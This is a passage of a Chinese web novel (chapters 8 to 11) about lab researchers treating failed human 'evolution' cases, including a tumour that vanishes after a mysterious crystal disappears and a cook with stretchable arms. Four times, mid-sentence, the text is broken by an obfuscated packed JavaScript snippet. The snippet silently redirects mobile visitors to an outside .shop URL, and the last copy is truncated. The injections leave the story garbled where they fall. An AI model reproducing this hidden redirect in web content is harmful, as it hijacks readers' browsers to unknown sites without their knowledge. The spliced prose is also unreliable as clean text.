几分钟后,两人来到了实验室的深处,这里有一堵墙,将实验室的深处与其他区域划分开来,墙的另一侧有一条长长的通道,通道右手边每六米左右有一个小隔间,隔间的门关着,看不到里面有什么。 袁教授带林萤来到头一个隔间,在这里,林萤见到了实验室的第二位真人研究员。 她莫约四十左右,微卷的短发,不胖也不瘦,带着护目镜,正在将一根注满了淡黄色液体的针管放进冷藏箱里,放好后“嘭”地一声合上了箱子。 “袁教授,你来了。” “小唐,她是林萤,很有想法的一个孩子,也亲眼见过好几次进化失败的案例,你这几天带带她。” 唐诗摘下护目镜放在一边,一双温和的眼睛友善地打量林萤,“好的,我正好需要活生生的人帮忙,天知道,我再也受不了那些冷冰冰的机器人了!” 说到这里,唐诗突然闭上了嘴巴,她看向袁教授,眼里似乎有歉意。 袁教授此时却在看一旁的支架床,床很窄小,床上侧躺着两个盖着薄被的人,其中一人还是光头,都背对着林萤,看不清他们的脸。 “他怎么样了?” “还是老样子。” “那你忙吧,我先去看看豆豆。” “好的,教授!” 袁教授回过头,拍了拍林萤的肩膀,然后打开门走了出去。 林萤重新看向支架床,不知为何,床上的人给林萤的感觉非常怪异,她又看了一眼,这才发现了怪异之处——床上只隆起了一个身子,头颅却有两颗! 唐诗起身走到支架床边上,然后朝林萤招了招手,“林萤,过来。” 林萤走过去,她的双眼一直停留在床上。 “胆子小吗?”唐诗突然问她。 林萤摇了摇头,“应该不算胆小。” “那就好……”唐诗说着,轻轻掀开了被子。 果然是一个人,但长了两颗头颅……不!不是两个头颅,而是从脑后长出了一颗瘤子,这颗瘤子长得跟脑袋一样大,圆溜又光滑,乍一看,像是一颗秃头。 “他……”林萤又向前迈了一小步,她的膝盖几乎要贴在了支架床边上。 她看到,这颗瘤子正在慢慢地变大,而它的主人此时紧闭着双眼,似乎已经陷入深度昏迷。 “他没死,我给他打了镇定剂。”唐诗解释。 “他是进化者?”林萤看向床上的人,他很年轻,短短密密的黑发竖在头顶,肤色黝黑,显然是常年在户外工作的人。 “进化者?还算不上,叫他‘进化未遂’更合适。” “进化未遂?” “嗯。袁教授说你见过进化失败的人,那你应该知道,进化失败后,器官一般都是爆开了。”唐诗指了指床上的人,“他有点幸运,因为我们在第一时间发现了他将要进化失败的事情,果断用针剂抽出他器官里多出来的液体,防止了器官的炸开,留住了一条命。”唐诗缓了缓,继续说,“他也很不幸,经过全方位的检查,他进化的器官是枕叶。” “枕叶?” “对,你知道枕叶吧?” 林萤点点头。“我知道,它是视觉器官,位于脑后。” “很奇怪吧,之前进化的人,进化的都是四肢,手脚腿……也有人比较特别进化了耳朵,但不管怎么说,这些都是人体外部器官。”说着,唐诗指了指躺在床上的小伙子,“而他很特殊,进化的是人体内部的器官,也就是说进化一直在进化。” “进化一直在进化……”林萤重复了一遍。 “对,由简单的人体器官变为更精密的人体器官……” “像是在筛选。” “‘筛选’?你这个词用的很有趣,的确像是在筛选,只不过被淘汰的人下场很惨。” 唐诗说着,从一旁的桌子上拿过一支新的针管,“噗呲”一声扎进小伙子头旁的大肉瘤里,随着她手部缓缓用力,一股淡黄色的液体慢慢抽入针管,而那肉瘤只是微微地缩小了一点点。 “假设我的猜测成立,进化一直在进化。那么,日后,我们人体的任何器官都有可能会涨大,心、肝、脾、肺、肾……甚至直肠、喉管,每一个失败,都将是一条人命。这几天,我眼睁睁地看着那些鲜活的生命在我眼前消失,我本身不是个感性的人,也免 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17587666|205358||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 不了兔死狐悲。” 唐诗的声音依旧轻快,可她的嘴角分明向下,拿着针管的双手也微微颤抖,使得她的针头有几分偏离。 “唐老师,让我来吧,你休息一下。”林萤带上手套,弯下腰接过了唐诗手中的针,她小心翼翼向外抽推杆,将针管抽满,这才缓缓拔出针头。 “粘稠的、胶质……进化失败的人体内才会产生的物质……”林萤转过头看向唐诗,“唐老师,你们有没有检测过这种液体的成分?” “当然,我们将这种液体命名为进化废液,今天早上就送过去检测了,但结果还没有出来。” “进化废液?这个名称很恰当。” “谢谢夸奖,因为是我起的名字。”唐诗接过林萤手里的针管,起身将它放进冷藏箱里,又从桌子下方的储存箱里拿出了一个新的针筒。 林萤将一旁的转椅拉到支架床边,挨着床坐了下来,近距离观察那个大肉瘤。 就见它的愈合速度非常快,刚刚的针眼已经消失的无影无踪,不到一分钟,整个球体又涨大了一圈。 “这样下去不是办法……”林萤喃喃自语。 “你说什么?”唐诗走过来,从后面给林萤戴上了护目镜,“袁教授主张进化像病毒一样会传染,我们不知道它的传播方式,但我是两天前第一次接触进化者的,直到现在我还没有进化,也许是有潜伏期吧!” 林萤将护目镜扶正,“这是,隔绝视觉传染?” “哈哈,主要起个心理安慰的作用。” 见唐诗的状态有所放松,林萤松了一口气,“唐老师,你们这里的人为什么那么少?看上去明明是很大很先进的实验室。” 唐诗叹了一口气,“三个月前,我们的大部队去另一个城市交流了——那个城市现在在海底……” 原来是这样! 林萤不再继续这个话题,她看了看桌面,那里放着一个未拆封的医疗器械盘,里面有不少工具。 林萤看了看支架床上的病人,又望向唐诗,“唐老师,我有一个想法。” “嗯?” “用这个……”林萤拿起器械盘,指了指里面的手术刀,然后在肉瘤平整的光面上比划了一个“十”字,“在这里,开一个口子,让里面的东西自动往出流。有了这样的大豁口,炸开的可能性就小了很多。” “你说的是一个办法,但是我们从来没有这样做过,不知道病人能不能承受得住……”唐诗还想说什么,房间里突然传来第三个人的声音。 这是一个男声,他的嗓音微微哑,疲惫中透着一丝平静。 “唐医生……就按她说的办吧,我愿意当这个试验品……” ——是躺在支架床上的人,他醒了。 “乔……你醒了?” “唐老师,我叫乔霁川,我从刚才起就醒了。” 因为脑后的肉瘤,乔霁川即使醒了也无法转过身,他的肩背一直微微发颤,似乎是在哭泣,又似乎只是因为疼痛而咬牙忍耐。 唐诗看向林萤,就见她正一眼不眨看着自己,显然只要她点头,林萤手中的刀就会毫不犹豫划向那颗碍眼的肉瘤。 9. 消失的冰晶 乔霁川的情况并不好,他从进化失败到现在已经过了三个多小时了,这三个小时内,唐诗一直在不间断地抽取他肉瘤中的液体,由于持续高烧,他已经有些虚脱,与来时那健康红润的样子判若两人。 “唐老师,我,我这个样子什么也做不了,要是能为你们的研究出一份力,也算是死而无憾了……” 乔霁川说完,似乎用尽了所有的力气,他大口大口地喘着气,话语中带着视死如归的勇气,让人不禁心生敬佩。 “好,就按你说的做。” 唐诗终于点了点头,她先给乔霁川打了一针营养剂,又准备好废液收集袋,转过头去,就见林萤已经拆开了桌上的器械盘,正在挑选刀柄和刀片。 “林萤,你想上手操作?” “是的,唐老师,你已经连续工作太久,该休息一下了。”林萤飞速挑好并安装完刀片,她将手中的刀子给唐诗看了一眼,“我觉得,这个比较合适,唐老师,你觉得行吗?” 只一眼,唐诗便知道林萤选择了最正确的组合,她有所不解,“林萤,我记得你好像不是医学生?” 林萤笑了笑,中指向里轻轻一拨,刀柄绕着拇指转了一圈,又稳稳地回到了她的手中,“是,我确实不是医学生,但我从懂事起就开始拿刀了......我敢说,大半外科医生的刀工不如我。” 说罢,林萤便在支架床前坐了下来。 尽管如此,唐诗还是有些不放心,待林萤给肉瘤消完毒,她又突然出声,“要注意伤口的切面尽量小一些……或者我来操作吧?” 林萤转过身,给了唐诗一个安心的眼神。 “请相信我。” 唐诗的左手不自觉地握在了自己的右手腕上,她已经连续不断抽取进化废液快三个小时了,这对于一个腱鞘炎患者来说,已经达到了生理极限,莫不是林萤看出来了? 唐诗狐疑地看了林萤一眼,却见对方的注意力全在那个硕大的肉瘤上。 算了,不想了!正事要紧。 只见那个肉瘤的表皮已经趋近于半透明,像注满了水的气球,里面隐隐有蓝紫色的皮下组织,像树叶的叶脉。 林萤找了一处最保险的位置,手术刀轻轻一划,第二刀立即接上,还未等里面的东西涌出来,她又飞快地将连接管放进创口里。 随着负压吸引系统的运作,里面的胶质液体被慢慢抽了出来。 整个过程,林萤的精神都高度集中,她一直注视着创口,避免吸入血管等组织。时间持续了约四分钟,肉瘤已经塌陷了许多,废液收集袋也装了快一半。 就在这时,林萤透过肉瘤透明的表皮,在胶质的深处发现了一个闪光的近似三棱锥的物体,直径约一毫米,乍看上去像一块小冰晶。 ……这是? 林萤不由得用刀柄压了压肉瘤,试图将那冰晶推到创口处。 “嘶——” 乔霁川抖了抖,震得整个支架床都晃了起来。 “林萤?”唐诗拍拍林萤的肩膀。 林萤回过神来,她忙道歉几声,接着指向那个冰晶问唐诗,“唐老师,你看到那个东西了吗?就是那个亮亮的东西!” 唐诗凑近去看,“哪里?没有啊!” “就在这里,离那个紫色的血管很近……”林萤的食指直直指向一个点。 上次看到赵毅千血泊中那个发光后却消失的冰晶时,林萤一度怀疑是自己眼花了。 可这次,这颗闪亮亮的冰晶,就那样待在角落里,像一颗被遗落的钻石,肉瘤里有些浑浊的液体也不能减少它的光辉。 “没看到啊!”唐诗左看看右看看,又疑惑地看向林萤,“林萤,那儿什么也没有。” “不……” 林萤闭上了嘴巴,她试图将连接管往冰晶处移移,希望靠吸力将它吸出来。 只是一瞬,那亮晶晶的东西便消失了,取而代之的是指尖的刺痛,一息后,刺痛感又消失的无影无踪。 “呀!”林萤轻叫一声,再向那冰晶处看,却什么也没有了,仿佛刚才所见都是她的幻觉。 ——这个冰晶绝对存在! 林萤极度确信。 “林萤,我看不到你说的那个东西,你能向我描述一下它的样子吗?”唐诗从头到尾都没有看见冰晶,但她敏锐地察觉到林萤并没有在说谎。 “它是透明的,像冰晶一样,形状近似于三棱锥,最宽的部分应该有一毫米,所以一遇见光,便会产生折射。”林萤想了想,又补充道。“很亮,晃眼的那种亮——这还是在液体里裹着,如果能拿出来我想会更亮。只是,它又不见了……” 唐诗从身后的抽屉里拿出一把小镊子,想要递给林萤让她把那什么“冰晶”夹出来,却听到冰晶“消失”的消息。 “不见了?” 林萤点点头,摩挲着自己的指尖,“嗯,突然间消失了,就好像……” ——就好像钻进了她的指尖一样。 “这样啊……” 唐诗的手举在空中,一时间忘记了把把镊子放回去,她看看林萤,又看向那个肉瘤,突然惊讶地瞪大了眼。 “林萤,林萤,你快看,肉瘤不长了……” 林萤的目光一直停留在那颗肉瘤上,从冰晶消失的那一刻起,肉瘤里的液体就像断了源头的潭水,不再增加,而是随着人为的抽取一直在减少。 不到两分钟,这颗肉瘤就像泄了气的皮球,变得又小又蔫,像纸一样薄的皮肤皱皱巴巴,几乎黏在了一起。 “乔霁川,你感觉怎么样?”林萤询问。 支架床上的乔霁川此时睁开了眼,他没有转身,仍是看向洁白的墙面,“我好像,没有那么难受了……” 唐诗为他测了一下体温,36.6℃,“的确退烧了。” “是的,我感觉我的脑袋轻了很多,已经能转动脖子了。”乔霁川左右晃了晃脖颈,肉瘤没有挤到的一处死角又压出了一些胶状液体。 “你先不要动,我们为你处理一下脑后这个东西。”林萤抽出连接管,用手轻压已经粘合在一起的肉皮,将最后一丝液体挤压出来,然后起身,将位置让给唐诗。 唐诗迅速判断了一下,对乔霁川说道:“我先简单地给你包扎一下,然后把你转到医务室去,那里有专业的医生和药房。小乔,你能撑住吗?” “我可以的,唐医生。” 见乔霁川点头,唐诗预备将肉瘤赘皮最靠近脑袋的地方扎起来,就像扎脐带那样,她的下手很轻,却又很迅速,显然是想最大程度地减少乔霁川的痛苦。 只是那赘皮里的血管让她短暂地犯了难——这是人体本身就有的,还是进化后生长出来的? 如果是人体本身就有的,那就应当塞回去,哪怕不好操作;如果是进化后生长出来的,那能直接扎起来吗,如果能扎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17587667|205358||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 又该如何去扎? 然而,还没等唐诗从这些纷乱的想法中择出最优解,就发生了一件让所有人瞪大眼睛的事情。 只见乔霁川脑后的那一片已经变成肉皮的肉瘤,正迅速地萎缩、干枯,就像失去了养分的树叶,从他的后脑“脱落”了下来,悄无声息地落在了枕头上。 再去看乔霁川的后脑勺,仅仅是多了一块硬币大小的红痕,就好像那里只是被掐了一下,根本不曾长过什么怪东西。 林萤两人一时间都没有说话,显然被这一变化打了个措手不及。 而后,林萤捡起掉落的那张皮,它有半个巴掌那么大,半透明的黄褐色,里面的脉络依稀可见,拿在手上也轻飘飘的,忽略不甚明显的毛孔,整张皮乍看上去就像一片真正的落叶。 “完全无法用常理来解释了……”唐诗拿过林萤手中的东西,将它放在了旁边的托盘上。 这时,床上的乔霁川竟坐了起来,“唐医生,我,我觉得自己好像完全好了!” 说话间,他先是左右动了动自己的脖子,之后侧身下床,站了起来,一步一步,在小隔间内开始转圈走动。 林萤在一旁想要扶他,却发现他根本不需要帮助。 唐诗缓缓开口,像是在对乔霁川说话,又像是在喃喃自语,“如果没有猜错,这应当是第一个进化失败却全身而退的案例……” 林萤接过她的话,“最难的是从零到一,有了这一例,以后进化失败的人将会有更多生还的机会。” 听到她们的话,最高兴的当属乔霁川了,他原本已经做好了赴死的准备,没想到被从鬼门关生生拉了回来。 此刻,他年轻的面庞上堆满了笑容,“这么说,我没事了?太好了!感谢唐医生,感谢林萤!” 唐诗站了起来,她虽然也很开心,却依旧谨慎,“不要大意,你必须要去做一个全身检查,看看你的器官有没有异常,我们才能确定你是不是真的好了。” 乔霁川挠了挠头,“哎?哎……好吧!是要去医务室检查吗?” “不用,试验室里有一台设备,平时是用来检查实验体的,今天派上用场了。”唐诗说着,指了指乔霁川,“你跟我来,林萤,你也来。” 一行人走到最里侧的隔间,这个隔间比其他的都要大一些,分隔成两个区域,外侧是屏幕,里侧是监测舱。 乔霁川躺在了监测舱内,机器缓缓启动,而唐诗和林萤则站在外面,通过屏幕查看。 头部、脖子、胸膛,四肢,心肺功能,视觉系统…… 一番检查过后,似乎都没有什么异常。 唐诗操作机器,又返回去,重点观察乔霁川的脑后,她微微眯着眼,唇角绷成一条直线。 “林萤。” “嗯?” “你来看,他的后脑上还有那个‘冰晶’吗?” 林萤仔细观察一番,并没有发现,于是她摇了摇头,“没有看到。” “好。”唐诗说完,关掉了机器,监测舱打开,乔霁川直接从里面跳了出来。 “检测结果一切正常,但是最近你需要静养。”唐诗一边吩咐,一边将一个黑色的手环戴在了乔霁川的手腕上,“这是监测手环,三天内不要摘除,你的一切情况都会同步传输给我。” 乔霁川抬起手,试着拨弄了一下这个像极了手镯的检测手环,手环摇了两下,突然紧紧地贴合在了他的手腕上。 10. 自由伸缩的臂膀 第十章 送走乔霁川,林萤本以为可以休息一阵,还未沾到椅子,就被唐诗带到了第二个小隔间。 这里的陈设与第一间差别不大,只是在原本放支架床的地方放了六个鼠盒,每个鼠盒里约有十只小白鼠。 唐诗向林萤解释,这是六盒被注射了进化废液的小白鼠。 此时,这些小白鼠正被一一分隔在鼠盒里,有的在刨来刨去,有的在吃东西,还有的在呼呼大睡。 唐诗看了一眼透明鼠盒外的电子屏幕,“这些鼠盒里的小白鼠分别采用的是腹腔注射、皮下注射、静脉注射、肌肉注射、皮内注射和直接喂送,已经过了两小时八分十二秒,这些白鼠似乎没有任何不适……” 她继续向林萤解释,“没有产生变化,可能是时间不够,或者是计量问题,再一个就是这些进化废液没有进化的功效。” “你认为动物也会进化吗?” “怎么不能呢?都是生物,你应当比我更了解它们与人类的相似之处。说不定现在已经有进化的植物或者动物了,只是我们人类还不知道而已。” 林萤点点头,认同了唐诗的观点,“如果不是进化废液的原因,那么……” 唐诗转过身,一双眼睛看向林萤,“那么,或许你所说的那个亮晶晶的三棱锥,才是进化产生的关键因素。不过,太可惜了,我并没有看见。” 唐诗说罢,突然将头凑了过来,近距离直直望向林萤的双眼,带着毫不掩饰的探究和好奇,“我们明明离得都很近,你能看到我却看不到,林萤,你的眼睛,与我的有什么不同?” 林萤眨了眨眼,她几乎就要脱口而出“我的眼睛进化了”,但又突然想起了“局外人”的告诫。于是她只是笑了笑,“可能是那个东西消失的太快了,就只那么一个瞬间,我差点也以为自己眼花了。” 唐诗信没信林萤不知道,好在对方也并不打算刨根问底,“好吧,林萤,每个人都有秘密,我表示理解。” 林萤还想说什么,一阵奇怪的动静打断了她,同时伴随着电子警报音:请注意!六号仓样本异常!请注意!六号仓样本异常…… 林萤转过头看向最左边的白鼠盒,就见里面的小白鼠在发抖,它们有的四脚朝天倒在垫料上,有的用小小的牙齿不停地叩动鼠盒内壁,发出“哒哒哒”的响动声。 “这是?” 唐诗也听到了声音,她拉着林萤,两人离鼠盒近了些,将里面的情景收入眼底。 就见那些小白鼠最初只是发抖,而后抖动加剧,变成全身抽搐,紧接着开始口吐白沫,左右翻动圆鼓鼓的肚皮,没多时,便一个接一个地倒下一动不动,显然是死透了。 鼠盒左上方的透明屏上也缓缓显示出几个红色的大字:“全体样本已无生命特征”。 “这些是……” “是直接喂送进化废液的那盒。”林萤提醒道。 唐诗叹了口气,“看来,那并不是废液,里面一定有什么奇怪的东西。”她说着,指挥机器人抓出一只白鼠去解刨,又将鼠盒上方的通气孔关闭,“先关上,一小时后再来检测剩下的尸体。” 林萤不解,“为什么要等一个小时?” “我想看看这段时间内尸体会不会有什么变化。”唐诗说完,揉了揉自己的太阳穴,“我想我起的名字不对,应当叫它‘进化胶质产物’?不,不好记,得再想想,看看里面到底有什么成分……化验结果怎么还没出来,这帮机器人真是太废物了!” 林萤的目光投向剩余的几盒小白鼠,它们看上去仍然安然无恙,只有这盒口服了进化废液的出事了。 “再等等……” “嗯,我们也需要更多的、反复的试验。” 说完,两人都陷入了沉默。她们比谁都了解试验的重要性,也知道每一分每一秒都关系着无数人的命运,可这件事,急不得。 正在这时,一旁的电子屏闪了两下,一个机械女声呼唤道: “唐医生,唐医生,林祐均请求与您通话。” 唐诗望向屏幕,“帮我接通。” 屏幕上,映出林祐均的脸,他的身侧还跟着一个男人,只露出半个身子,让人看不真切。 “唐医生,你现在忙吗?” “你说。” “是这样的,听说你治好了乔霁川,我这边现在也有一个人,他的情况有些特殊,想让你帮忙看看。” “可以,你把人带下来,我帮你们开门禁。” “谢了,唐医生。” 通话结束后,唐诗与林萤回到了第一个隔间,那里的支架床还没有撤掉,正好可以用来躺病患。 五分钟后,电梯下行的声音,自动门开合的声音,熟悉的脚步声接连传来,林萤不用回头也知道是林祐均。 进化后的听力让她能轻易地分辨出声音中微小的不同。 比如林祐均的脚步声,坚定有力,双脚着地音基本相同,可见他左右肢肌肉均匀有力,身体康健且经常锻炼。 而林祐均身后的人迈着僵硬的小碎步,每一步都“啪啪”作响。这个人应当是足底筋膜紧张,跟腱变短,导致缺乏脚跟到脚尖的过渡,从而走路时发出明显的拍地声——是常年站立的人。 老师?护士?服务员? 林萤不由地开始猜测来人的职业。 还未等她想出个所以然,林祐均二人已经到了眼前。 林祐均的身后是一个中年男子,他穿着防护服,带着口罩,一双眼睛左顾右盼,从发白的顶灯望向闪烁的大屏幕,又从试验台移到自己的脚尖,整个人一直在哆嗦。 林萤注意到,就连男子的指尖也在微微发抖,想来他是真的很紧张。 “赵师傅?”林祐均还未说话,唐诗先开了口。她望向林祐均身后的中年男子,似乎有些激动,“这是咱们研究院的大厨赵师傅,他做饭特别好吃,自从他掌勺后,我足足胖了十斤!” 原来是厨师啊! 林萤恍然大悟,厨师确实是需要长期站立工作的职业,再仔细看那男子,右胳膊比左胳膊肌肉大,高低肩也比较明显,显然惯用右手。 除此之外,他似乎没有什么异常,更没有肢体肿大等迹象,就是一个普普通通的人。 林祐均说他特殊,到底特殊在哪里? “唐医生,你喜欢就好,下次你来我多给你打一勺糖醋小排!”赵师傅见到熟人,紧张的心情有所缓解,他笑着向唐诗打了招呼,人也渐渐放松下来。 见状,林祐均上前一步,“既然你们认识,那我就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17587668|205358||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 不多做介绍了,时间宝贵,赵师傅,把你的能力给大家展示一下吧!” 能力? 林萤微微眯了眯眼。 赵师傅低头看了看崭新的防护服,“那这件衣服……” “脱下袖子就行。” “嗳,好。” 说话间,赵师傅脱下防护服的袖子,他里面穿了一件褐色的毛背心,手臂却露在外面,显得又冷又热,让人一时猜不准外面的天气。 他深吸一口气,直起腰身,身子微微向后挺了挺,接着“哈”一声,弯腰吐气,一双手向前探去,动作神情,像极了太极拳的那招双推掌。 起初,林萤并不知道他究竟要做什么,只观察到他的动作并不是非常标准,脸部肌肉也绷得太紧,失去了太极应有的从容感。 然而很快,不止林萤,唐诗也惊讶地捂住了嘴。 就见赵师傅的手臂越伸越长,像被孩子扯住两端的橡皮糖,弹性十足,韧性十足。 小隔间空间有限,赵师傅的手没几分钟就碰到了墙壁,他憨厚地笑了两声,又吐出一个“收”字,将不断晃荡的手臂收了回来。 “我还不太熟练这个……” 唐诗的表情已经从惊讶变成了严肃,她抿着嘴,原本薄薄的嘴角几乎没了血色。 “赵师傅,你是什么时间进化的?” “啊,时间,就在今天下午,大概三点多。” “你能详细讲一下吗?” “你不嫌我啰嗦的话,当然没问题。” 于是,赵师傅开始讲述他进化的过程。 下午三点左右,是赵师傅一天中比较悠闲的时间,他一般会在这段时间里打个盹,让忙碌了一中午的身体休息一下。 他像往常一样,斜靠在床头准备睡一会儿,谁知,手机还没放好,胳膊突然间剧烈地疼痛起来,像被数万根针同时扎了一下,疼得他手机都拿不稳,一个不慎掉下了床。他抱着双臂蜷缩在床上,一边大声喊着,想要叫人来帮忙。 赵师傅住的是宿舍,左邻右舍都是后厨的人,没一会,几个帮厨都过来了,找医生的找医生,拿药膏的拿药膏,可就在这时,赵师傅的胳膊又不疼了。 “疼痛?” 林萤皱了皱眉头,她想起了自己进化前的症状,那时的疼痛她还记得清清楚楚。 “对,我有风湿的老毛病,还以为明天要下雨了,没想到……” 赵师傅挠了挠头继续讲述,疼痛过后,他歇在床上,这个时候他还不知道自己已经进化了,只以为是今天后厨太忙累到了。 一顿闹腾后睡意散去,赵师傅便想继续玩手机,他左找找,右找找,却没找见手机的踪影。 这时,他回忆起自己将手机掉下床的事情,弯腰去看,果然在床下看到了静静躺在地板上的手机。手机的位置非常靠里,应当是慌乱中被谁不小心踢了一脚,将它踢到里面去了。 赵师傅懒劲上来不想下床,便直接趴在床边伸长胳膊想要去够,可到底还差一点距离,他使劲伸了伸胳膊,没想到这一伸展,就见胳膊猛地长长了一大截,手瞬间碰到了手机,将它从床底拿了出来。 赵师傅张大了嘴,瞪圆了眼,接着飙出了自他出生以来最高的音—— “啊——!” 11. 肩膀里的“蓝莓” 一番话说完,赵师傅将防护服重新穿好,随着他的动作,一根褐色的毛线头从他的袖口掉落,飘飘荡荡,落在了地面上。 林萤仔细一看,发现他的毛背心原来是毛衣剪去了袖子,连袖边都没有缝合,难怪毛线会脱落。 “赵师傅的手臂在变形的时候力量比较大,原本的衣物会被撑破。”林祐均出言解释道,他看了看唐诗,又将目光移到了林萤的面庞上。 “你们也看到了,他的情况非常特殊,与以往的案例都不同。首先是他的进化方式,他并没有发烧、嗜睡等前兆,而是直接开始进化;其次是他的进化部位,并没有涨大,也没有缩回去,而是疼痛,让人难以忍受的疼痛,但这种疼痛并没有持续太久;最后便是进化的结果,其他人都只是简单的机能提升,比如力量的增加、听觉的敏锐,但赵师傅的进化,完全是颠覆性的,非科学能解释的……” 说到这里,林祐均停顿了片刻,似乎是想寻找一个准确的词来描述这种进化。 林萤微微低着头,她的目光一直在看向地面。 “异能……” 林萤的声音太小,只有林祐均听见了,他似乎难以置信,“什么?” “这种进化,属于异能进化。”林萤转过身,轻声说道:“目前所知的进化方式分为两类,一类是传统的生理进化,一类是异能进化。异能进化又可以分为以下几类:身体强化、精神控制、元素操控、时空、因果律……如果进化已经由生理进化发展到了异能进化,那么以上这些进化将很快出现在人们身上。不,不止人,既然是生物进化,那么所有生物都有可能。” 林萤抬起头,双瞳在灯光的照射下几近透明,恍然间不似人类。 “新世界,降临了。” 林萤的话语像在忙碌运转的实验室里按下了暂停键。 不远处的机械臂,正在将一剂试管倒入另一个容器内,屏幕墙上,一串串字母在跳动,一个机器人运行到电量即将耗尽,正赶着去充电,鼠盒里,一只小鼠正埋在垫料里酣然入睡。 一切都似乎没有变化。 但,在场的林祐均与唐诗内心却泛起了惊涛巨浪。 “林萤?”唐诗缓缓开口,“你是怎么知道这些的,或者说是怎么猜测的?” 林萤摇了摇头,“这不是猜测,这是确信,就像从一颗种子,判断出它将长成什么样的树。现在这颗种子已经种在了地里,并且长出了幼苗,抽出了枝芽……我知道它会长成什么样,你们也知道。” 正在这时,一阵突兀的音乐声响起,打断了众人的思绪。 “哎呀,是我的闹铃。”赵师傅手忙脚乱地在几层衣物之间翻找,却始终找不到,最后还是林祐均指了指他的裤子,“哎哎,原来在裤兜里,瞧我这个忘性!” 赵师傅说着就想往外走,“这个点他们已经备好菜了,我得去看看。” 林祐均拦住了他,“赵师傅,厨房里的事情就交给其他人,你现在有更要紧的事情要做。” 唐诗在一旁附和,“是的,我这边有检查的地方,跟我来。” “好吧……” 唐诗将赵师傅带到了乔霁川检查过身体的地方,待赵师傅进入监测舱,其余三人便守在了屏幕外。 随着机器的运转,赵师傅的每一根肌肉线条,每一丝神经脉络,每一根血管、骨骼,都以不同色彩呈现在了屏幕上。 “赵师傅,你试着伸长胳膊,不用太长,一点点就行。”唐诗说完,监测舱里的赵师傅动了动,他将两只胳膊同时放在体侧,慢慢向脚腕处延伸。 就见他的胳膊里肱骨和桡骨之间的距离逐渐变大,肌肉也渐渐变成了细长的一条,紧接着,赵师傅把胳膊缩了回去,画面上的人体又变得正常。 唐诗闭了闭眼,“没法看,这个不属于科学范畴了,林指导,你可认识什么灵异方面的专家?” 林祐均无奈地看了她一眼,没有说话。 然而很快,林萤便发现了异常,“那个是什么,多出来的一个圆形黑影?” “是息肉,肠道息肉,应该是赵师傅原本就有的。”林祐均回答。 “不是,不是腹部,是他的肩膀处,左肩头。” 林萤指着屏幕上的一处,那里,有一个形似黄豆的重影,隐藏在肩锁关节的下方,如果不是仔细看,根本看不清。 经过林萤的提醒,林祐均很快找到了那处异常,“咦?真的,唐医生,有办法看得更清楚吗?” “有的,等等。”唐诗先提醒了一下赵师傅,接着操纵针头机器人,将那处放大。 放大后的圆形黑影不论是大小形状还是色彩都非常像一颗蓝莓,而且是一颗生长着毛绒小刺的蓝莓。 几个人不约而同将头贴近屏幕,他们几乎可以观察到那颗“蓝莓”上的小刺在微微晃动,就像深海水母的触角,没有规则地四下摇摆着。 “这是……”唐诗瞪大了眼睛,“可能是某种肿瘤……” 林祐均问她,“是赵师傅原本就有的吗?” 唐诗摇摇头,“我不清楚,但是这个……我做过那么多试验,看过许多病患的影像,却从来没有见过这种东西……”说到这里,唐诗倒吸一口冷气,“我感觉,要说是肿瘤也不正确,这根本就像是一个活物!” 唐诗说完,打了一个寒颤。 肩关节不比腹部,这么大的活物一定会引起赵师傅的不适,然而刚才他的表现,没有丝毫异常。 林萤仔细看了看,而后斩钉截铁地说道:“这个不是活物,这是仪器探射导致的反光!之所以看上去在动,是因为这个物体的表面并不是光滑的,而是有很多平滑的切面,就像球形反光灯一样,这些切面会反射,所以看上去像在动。” “球形反光灯?” 听完林萤的话,唐诗与林祐均又将目光投向画面上的“蓝莓”,他们看得更仔细了一些,发现果真如林萤所说,这个蓝莓并不是活物,而是静止在原处,它身上的小刺,只不过是反射的光而已。 “像是……某种晶体。”唐诗说完,回头看了一眼林萤,“对吗?” 林萤点点头,她知道唐诗是在提醒她,方才她在乔霁川的身上也看到了某种晶体,只不过当时唐诗看不见,现在这个,像是长大了的“冰晶”,而且所有人都可以看见。 “不论是不是某种病变,都先把它拍下来。”林祐均说道。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c 